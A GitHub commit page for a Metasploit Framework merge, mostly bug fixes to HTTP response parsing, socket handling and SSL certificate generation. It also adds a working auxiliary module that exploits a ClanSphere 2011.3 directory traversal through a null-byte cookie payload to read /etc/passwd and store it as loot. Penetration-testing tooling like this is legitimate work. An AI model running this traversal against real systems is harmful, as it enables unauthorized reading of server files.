Skip to content

Commit 7cf7563

Browse files
David MaloneyDavid Maloney
authored andcommitted
Merge branch 'upstream-master' into WinRM_piecemeal
2 parents d2d137c + d9139c0 commit 7cf7563

19 files changed

+479
-27
lines changed

lib/msf/core/handler/bind_tcp.rb

Lines changed: 1 addition & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -127,7 +127,7 @@ def start_handler
127127
rescue Rex::ConnectionRefused
128128
# Connection refused is a-okay
129129
rescue ::Exception
130-
wlog("Exception caught in bind handler: #{$!}")
130+
wlog("Exception caught in bind handler: #{$!.class} #{$!}")
131131
end
132132

133133
break if client
@@ -138,7 +138,6 @@ def start_handler
138138

139139
# Valid client connection?
140140
if (client)
141-
142141
# Increment the has connection counter
143142
self.pending_connections += 1
144143

lib/rex/io/stream_abstraction.rb

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -149,6 +149,9 @@ def monitor_rsock
149149
closed = true
150150
wlog("monitor_rsock: closed remote socket due to nil read")
151151
end
152+
rescue EOFError => e
153+
closed = true
154+
dlog("monitor_rsock: EOF in rsock")
152155
rescue ::Exception => e
153156
closed = true
154157
wlog("monitor_rsock: exception during read: #{e.class} #{e}")

lib/rex/post/meterpreter/client.rb

Lines changed: 9 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -154,7 +154,7 @@ def swap_sock_plain_to_ssl
154154
ssl = OpenSSL::SSL::SSLSocket.new(sock, ctx)
155155

156156
# Use non-blocking OpenSSL operations on Windows
157-
if not ( ssl.respond_to?(:accept_nonblock) and Rex::Compat.is_windows )
157+
if !( ssl.respond_to?(:accept_nonblock) and Rex::Compat.is_windows )
158158
ssl.accept
159159
else
160160
begin
@@ -211,12 +211,19 @@ def generate_ssl_context
211211
cert.version = 2
212212
cert.serial = rand(0xFFFFFFFF)
213213

214+
# Depending on how the socket was created, getsockname will
215+
# return either a struct sockaddr as a String (the default ruby
216+
# Socket behavior) or an Array (the extend'd Rex::Socket::Tcp
217+
# behavior). Avoid the ambiguity by always picking a random
218+
# hostname. See #7350.
219+
subject_cn = Rex::Text.rand_hostname
220+
214221
subject = OpenSSL::X509::Name.new([
215222
["C","US"],
216223
['ST', Rex::Text.rand_state()],
217224
["L", Rex::Text.rand_text_alpha(rand(20) + 10)],
218225
["O", Rex::Text.rand_text_alpha(rand(20) + 10)],
219-
["CN", self.sock.getsockname[1] || Rex::Text.rand_hostname],
226+
["CN", subject_cn],
220227
])
221228
issuer = OpenSSL::X509::Name.new([
222229
["C","US"],

lib/rex/proto/http/client.rb

Lines changed: 16 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -365,7 +365,7 @@ def send_request(req, t = -1)
365365
#
366366
# Read a response from the server
367367
#
368-
def read_response(t = -1)
368+
def read_response(t = -1, opts = {})
369369

370370
resp = Response.new
371371
resp.max_data = config['read_max_data']
@@ -392,7 +392,7 @@ def read_response(t = -1)
392392

393393
##########################################################################
394394
# XXX: NOTE: BUG: get_once currently (as of r10042) rescues "Exception"
395-
# As such, the following rescue block will ever be reached. -jjd
395+
# As such, the following rescue block will never be reached. -jjd
396396
##########################################################################
397397

398398
# Handle unexpected disconnects
@@ -434,14 +434,20 @@ def read_response(t = -1)
434434
return resp if not resp
435435

436436
# As a last minute hack, we check to see if we're dealing with a 100 Continue here.
437-
if resp.proto == '1.1' and resp.code == 100
438-
# If so, our real response becaome the body, so we re-parse it.
439-
body = resp.body
440-
resp = Response.new
441-
resp.max_data = config['read_max_data']
442-
rv = resp.parse(body)
443-
# XXX: At some point, this may benefit from processing post-completion code
444-
# as seen above.
437+
# Most of the time this is handled by the parser via check_100()
438+
if resp.proto == '1.1' and resp.code == 100 and not opts[:skip_100]
439+
# Read the real response from the body if we found one
440+
# If so, our real response became the body, so we re-parse it.
441+
if resp.body.to_s =~ /^HTTP/
442+
body = resp.body
443+
resp = Response.new
444+
resp.max_data = config['read_max_data']
445+
rv = resp.parse(body)
446+
# We found a 100 Continue but didn't read the real reply yet
447+
# Otherwise reread the reply, but don't try this hack again
448+
else
449+
resp = read_response(t, :skip_100 => true)
450+
end
445451
end
446452

447453
resp

lib/rex/proto/http/packet.rb

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -367,6 +367,7 @@ def parse_body
367367
if (self.body_bytes_left == 0)
368368
self.bufq.sub!(/^\r?\n/s,'')
369369
self.state = ParseState::Completed
370+
self.check_100
370371
return
371372
end
372373

@@ -396,10 +397,15 @@ def parse_body
396397
# ready to go.
397398
if (not self.transfer_chunked and self.body_bytes_left == 0)
398399
self.state = ParseState::Completed
400+
self.check_100
399401
return
400402
end
401403
end
402404

405+
# Override this as needed
406+
def check_100
407+
end
408+
403409
end
404410

405411
end

lib/rex/proto/http/response.rb

Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -53,6 +53,9 @@ def initialize(code = 200, message = 'OK', proto = DefaultProtocol)
5353
# default chunk sizes (if chunked is used)
5454
self.chunk_min_size = 1
5555
self.chunk_max_size = 10
56+
57+
# 100 continue counter
58+
self.count_100 = 0
5659
end
5760

5861
#
@@ -66,6 +69,19 @@ def update_cmd_parts(str)
6669
else
6770
raise RuntimeError, "Invalid response command string", caller
6871
end
72+
73+
check_100()
74+
end
75+
76+
#
77+
# Allow 100 Continues to be ignored by the caller
78+
#
79+
def check_100
80+
# If this was a 100 continue with no data, reset
81+
if self.code == 100 and (self.body_bytes_left == -1 or self.body_bytes_left == 0) and self.count_100 < 5
82+
self.reset_except_queue
83+
self.count_100 += 1
84+
end
6985
end
7086

7187
#
@@ -84,6 +100,7 @@ def cmd_string
84100
attr_accessor :code
85101
attr_accessor :message
86102
attr_accessor :proto
103+
attr_accessor :count_100
87104
end
88105

89106
end

modules/auxiliary/admin/officescan/tmlisten_traversal.rb

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -51,6 +51,11 @@ def run_host(target_host)
5151
'method' => 'GET',
5252
}, 20)
5353

54+
if not res
55+
print_error("No response from server")
56+
return
57+
end
58+
5459
http_fingerprint({ :response => res })
5560

5661
if (res.code >= 200)

modules/auxiliary/dos/http/sonicwall_ssl_format.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -58,7 +58,7 @@ def run
5858
'uri' => datastore['URI'] + fmt,
5959
})
6060

61-
if res.code == 200
61+
if res and res.code == 200
6262
res.body.scan(/\<td class\=\"loginError\"\>(.+)XX/ism)
6363
print_status("Information leaked: #{$1}")
6464
end
Lines changed: 91 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,91 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Auxiliary
11+
12+
include Msf::Exploit::Remote::HttpClient
13+
include Msf::Auxiliary::Report
14+
include Msf::Auxiliary::Scanner
15+
16+
def initialize(info = {})
17+
super(update_info(info,
18+
'Name' => 'ClanSphere 2011.3 Local File Inclusion Vulnerability',
19+
'Description' => %q{
20+
This module exploits a directory traversal flaw found in Clansphere 2011.3.
21+
The application fails to handle the cs_lang parameter properly, which can be
22+
used to read any file outside the virtual directory.
23+
},
24+
'References' =>
25+
[
26+
['OSVDB', '86720'],
27+
['EDB', '22181']
28+
],
29+
'Author' =>
30+
[
31+
'blkhtc0rp', #Original
32+
'sinn3r'
33+
],
34+
'License' => MSF_LICENSE,
35+
'DisclosureDate' => "Oct 23 2012"
36+
))
37+
38+
register_options(
39+
[
40+
OptString.new('TARGETURI', [true, 'The URI path to the web application', '/clansphere_2011.3/']),
41+
OptString.new('FILE', [true, 'The file to obtain', '/etc/passwd']),
42+
OptInt.new('DEPTH', [true, 'The max traversal depth to root directory', 10])
43+
], self.class)
44+
end
45+
46+
47+
def run_host(ip)
48+
base = target_uri.path
49+
base << '/' if base[-1,1] != '/'
50+
51+
peer = "#{ip}:#{rport}"
52+
53+
print_status("#{peer} - Reading '#{datastore['FILE']}'")
54+
55+
traverse = "../" * datastore['DEPTH']
56+
f = datastore['FILE']
57+
f = f[1, f.length] if f =~ /^\//
58+
59+
res = send_request_cgi({
60+
'method' => 'GET',
61+
'uri' => "#{base}index.php",
62+
'cookie' => "blah=blah; cs_lang=#{traverse}#{f}%00.png"
63+
})
64+
65+
if res and res.body =~ /^Fatal error\:/
66+
print_error("#{peer} - Unable to read '#{datastore['FILE']}', possibily because:")
67+
print_error("\t1. File does not exist.")
68+
print_error("\t2. No permission.")
69+
print_error("\t3. #{ip} isn't vulnerable to null byte poisoning.")
70+
71+
elsif res and res.code == 200
72+
pattern_end = " UTC +1 - Load:"
73+
data = res.body.scan(/\<div id\=\"bottom\"\>\n(.+)\n\x20{5}UTC.+/m).flatten[0].lstrip
74+
fname = datastore['FILE']
75+
p = store_loot(
76+
'clansphere.cms',
77+
'application/octet-stream',
78+
ip,
79+
data,
80+
fname
81+
)
82+
83+
vprint_line(data)
84+
print_good("#{peer} - #{fname} stored as '#{p}'")
85+
86+
else
87+
print_error("#{peer} - Fail to obtain file for some unknown reason")
88+
end
89+
end
90+
91+
end

modules/auxiliary/scanner/http/ektron_cms400net.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -67,7 +67,7 @@ def run_host(ip)
6767

6868
#Check for HTTP 200 response.
6969
#Numerous versions and configs make if difficult to further fingerprint.
70-
if (res.code == 200)
70+
if (res and res.code == 200)
7171
print_status("Ektron CMS400.NET install found at #{target_url} [HTTP 200]")
7272

7373
#Gather __VIEWSTATE and __EVENTVALIDATION from HTTP response.

0 commit comments

Comments
 (0)